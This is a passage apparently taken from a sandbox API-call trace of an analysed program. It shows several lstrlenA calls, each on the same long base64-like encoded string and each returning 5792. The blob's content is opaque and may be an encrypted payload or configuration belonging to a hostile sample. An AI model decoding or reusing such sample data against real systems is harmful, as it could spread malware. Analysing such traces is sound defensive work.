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") returned 5792 [0042.887] lstrlenA (lpString="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") returned 5792 [0042.887] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KV4pggJ526RyX2fBTUah1d17kQB1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIv/xN1EmbWvd3bDcjzcF+UTBaQd40Dm/1EKhBRtcOvqVz2IGXlxPSL8VopZi+3YuV4zFhiTF7+JRlfjRfYt3PyhoMD6/4HPWkALX56Y8YFeqras6EdmeyPN1KrtYvSlfD2o/z5N6AszxUaoWuNKsq1jFHxmrh/lWJOhNGqeCmeV6GFDHanKMacrpq7D+br3K2v7I2HndjVTaepOXVPzQjNpleafUuvZ1KIZpJeTHVoAtZLpThtgdFLerpL5BCAc6JJ+5aK6CRQ1pDOia4gAJkJCqUiG0oS8u6Hl2KgrmCTT4igU96Kxhz27vTMyzRTTQ59RTnEJT1off2I0RpYu2VvLDFsk5XxC/4ZcUHvkVrc/fR1poftQK9N4U+Wng94T4ww/aHa2jmPS6iPl/XRdaLDUIOcD+GT7Ti4i865/R54tukuJeZJX5wTdPFQcOCs3iWH6Wf+/tG9VsJ6llp/0FegWB7+mY6CQ8osZ6vEmKxl+t1JJW8hBRQcWoQnRJUoxCfdLJCGAwZw1ILyazzKXM380XgHn0Mu0vZIJpaISqd9C4s+Gb6qXioKJmb7o4ZyZn7utlOaX4aPtIX5ehq6uPr26vDhJ8E8l1Xwk86ZYRIbpfMqxySTAxNTcSKr/WflTh7lF/1ijCgtZ2vhp4zFgrHFL+ipkJ/rNmoOoVXfMpr1SUtpGfJDGQ/RGf7pku0mJQV6+VC8CEKo9iO2EcJ0y6OdoTGUD2zvM3lNh77UWLeGARUrOV5/tSLh8FgcruOtz8tdlNzbcEPhF+5snJs+/ey9sOqIdiI20SpxE/WnmmZ6SCVgDkxAI7YKP+cNcjAFOaxFJO/uaFtMVH7letwAWEj2Z/BXtgVI165tON581w8EMGiyGm9LJ16TwjbjNNyMsizVjI78/CN5Y8NUHKnxk62gvrfoEkPdp/hgwLSYZVHW1WTGZJPsvaz09/mC1/Skje//7DG/lJuAXAXrSkYxdHpk/bgrsJLZ9XbBkY6djMCaFeRyuZKh9EW33mrV4I9z81PA1iNhZPiL3WKt5YMYzxMuXhn4Xyofk7C/38fGm9kj+D5nkTjvGf1yfYa76MJZR6fuVGY8IYgy3Dn8GeVQqG4HvJ/d/dgZK+aGNDP3q10pzpYTOkU59meCZZcnGB+PIMA4026RTp6t0YcsT0oLWvlT4a3DS6gR+q4FCHocueJMTsUJz/Q69mGRLzklNkWTWuDdsysrBS5PqpzpCtA6k9m7s3Mn1imiLVPPL6jXrYTaXyyrrgCvWCI5Ay+HZWOybes+9OtPgGxp2t214mRmBIxo1ZD+IOwHdSeE8M2PtQxm+YA35KNZc6IcB36XCrKRnFupDMlhkyxFzCiRQX4oBAKxHLQTMShJqYT02sxOVwFXLvT80AVtI8xyF0GwKqvG8odW5I+F+2Vm5ayOGeDfVRBXROrUla0xRwOlu9wCFKQeLay5RgqdO4ItAS85zc5xcgDxPRqDzS4lhUJH1SmtUoj5NnZ5ZLr06nwtJjsn5HtW4jTpHbMcAxlKtQ7uls+0kcCcNBttbXcbZP4DRK9iiaMxorjzFFOPM/fxoVUikD+LmmMCBOdQOeyu3aRyXnUiQoIS3tfN134/4W32alC9XzYkw7Npqy6iztlsm43kZcn3App/oVVMdZ8p2yiunPBs92CBZ5TBEBJQche6SktzaTUxmb0H3cxEtmgwjMivaqDfNXndDm+4y8S3idZUqXJNC6ANr4Pe5pImNCvUZS7pvx0ZQ4d+XTX3ES0NdL5biavhaxzlS7unKpTe6paNCZQrYPIrTUQWUqU0yQ+pRovASiRIKwtHhpZtjJMnoTQH7BxEEpa/ugEmH7IAnNBo4CVcNsu+GLdAwzqGIX9f0ztqCrohS/epqNqf2Ek/dc/HigF55t6EGZKiEqrSqIkLaxmH3c1ZbdOZWD/WbOz+YlfroDXNkKHyWXt8Qyn/GzblpRdEhAmpfIuegPD383OCZwVLr2Z2H4+VXt09OT+XDda7lxXKrZfUSpODcxVCL8f0ZPhr2qxpb8FfbN53bWmS8ZV3s3b8l/qHwh2kgk0X8MYUmN6Dx/CJMJ6EiNka7K/lg/RjUgs5IU4+RhSSksnNw6Naahl+XG4QI+OzeLOMePoKSu6jeapm9UVOGaUY+5W988JCEE83K5+Plj/Wcbucxck21LbUofIE0ZbOyoVGrYkkKYRwBpHuCSBpt96UpEybVAjOVe6qtoq0lHvKpNS14gpi1ZZn7c8Y73kV5QWrt7v1XQa1JzAC6tfnjCX8/y/CJK2lAA3dHRvzmus2VNyKLamtBSY6NY4QPwsmVgKRdlaEvwoggJj7i/2/DauQXwTEJnvc6Yj9HlTy24F0O7kjjnIraPlZwV6EX8NovA4o0fLAhbjKSmW++83N+5HizMDMS8sw36ddYzD4Fcy5hScS9qlQu01B9oXHwJaov5vsxA0oaQynEQYRtMA60Qn78YXaSdLR2j4yoHcrM4C1l9Oi4H8xkzaqMsM1LKXNEDoWqSgcdw7F3JFuqjBs9JSYixT0E1pXMCORfJyeQpAR+UGBAkd0YQh5LyFc9FIQwDgHH2RmiSupfZ0njoPzDOVzwEWrYyGrZ5VD3QlUqvPGcueIH6SbD7nBv6ZkzlAm4RdDaaC+FTQ+ADM/bI2Wh2TnhyQtt0IHu/GO0ppSAhkghYQSwVa4nmC0N4wDujoHhGKdWTnBi+NYoZha8aygv1CJlyB9/n8zstQSC5VAlOHB7yAwE+92bxGpiBWrnV7L6qgI0fC4AW3F6VU5LKawh62JMlPGkNgBAbFUJcGn1gQ97cuGCfpamnHIW65tzfHja3gbKyH07oZYaSNBDfQJWMyX7UEFQgg3B2n5jmqTkoF25KBxvTjf5sOsU0ZojgHCwPjulO+6uJ8fcJ29RQch/mV5d3HbEcmWSNebso3hPHwIz6t9HBgy+/NIbkfavf64pDyRVXlMGMvJPwVjj/WdSNTK0M10SB5k50lprI6uxQ0c5XY7aYVIdDrUm58HYc+4zNaJe6O8FrHkriNRA/LCNL0jvdbsHTa84XqvLLV/jEbAmNoci3EADcKOTgAxmVTwO7mpKA7uTsPuDaE35XKVmFmHfENmXVlhd+Ge3wg6Qm9VYUznEMq8/xXCgLMzRtCH5Njb/ezFIqQB0CwrwxLenuFrjtYLRzsZ++uf6UAGsO4KG+rFRoyRCG626T6r4NKiZOPa6hZpdfIqaLumqMAEmWXMfldFnz82QfkMAo2y/RhPz+5Z6DdnETzdC+bGf3Yo9OmN19TqpOBGq7UFYpXT+bwy7YlQvUHUdWQv0Ye+VMtNh3NVwaPnFe3mBuUtA0seOua8jHYDd/mA0iGyW5uNUAK8BubDhSAaBFvKS/swCQLulGWiqgIt/pBOUYiK/wKs1Br/pydAHwGr2YMzAurYR/9u7b/9YYmPpfvSyp/W3AXdi4fUXggvR4qbYkTnkqSV32SdvxwxWElUeBGqz5yW1DqNHfWbWEakopU3AbiRWPlQUdjlLaysZdGvuCI+XfMTxiPl7AIeLBU6E/oWvaak0lbdBH9cPTcU4Thm0916qA8mGXFko7nW2fOpEmMMQW8OW+VhbpJzWLm8585vUdu38mfQOWegxFsv4L9Cn67U3RuHrohmy5+H6fkWSVe8J/8OGBsLqY2gzj/a5Ckdn2FT3rvScJOmH2MAqLYyPGJwyva1Et8eAzAaz4GrUYzHcopeEiO+eJE6A/4424n5siwkQm0NymXfg+wpkJCcMhn05nQqtQFEiTsfguOYhUhJsVF0Y+aBXZvOWR0JyH9+ld7RnxjKO4f4O2whzCrEG3haLztz+H89Gr4EW9xzKWGuB1k+ob/5USKEicZwClLJ/GtM3spnEe8BXZF+4lTaZ8sEdM347MisMUzhicRggsVF07UCrlqVysHPLwl1h7l8eKDuFH+8EKbNXVUBiz8t9ATawqtaHnfLYSrknFNenkeDIFNU7+NRTHSFoQ0PgpWyXtD84+TbmQG5x9y6oqQ05FzKkAsBsD8DmxzQ37JIz12Qyoof4bOSDakeYSvb9qnUm12RNDLElgWkGGjACIrz5WsnowEBXoIaUEaRSb5HJ3dq4X+X6lYhdc+yIIT19K6j8K2SUTnp+jE0jolPA7k1j7MWkMGw4djJq0t1O10PLYxpkc0Vgwi7wQnJTaF9ujcPLOJhzOSSvTIdlRLpqKkRvA6+dhv7LI76ih9HJPqw8YuyvNKlGZoAZ1w3z7Fz2jCtLaff8SEFgGWFP2d/iabUp0mmEoK1UqlEe+AEeTDndSwPdvccQ4efcQkZC+onMnNmNpzt625/Vqe1TDaz4EsndpkheTM5jCVXL4wxZ9dk08GtEf+3zgu2kWh2W4dClq0P1skX6e6A8/SaKrnIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==") returned 5792 [0042.887] lstrlenA 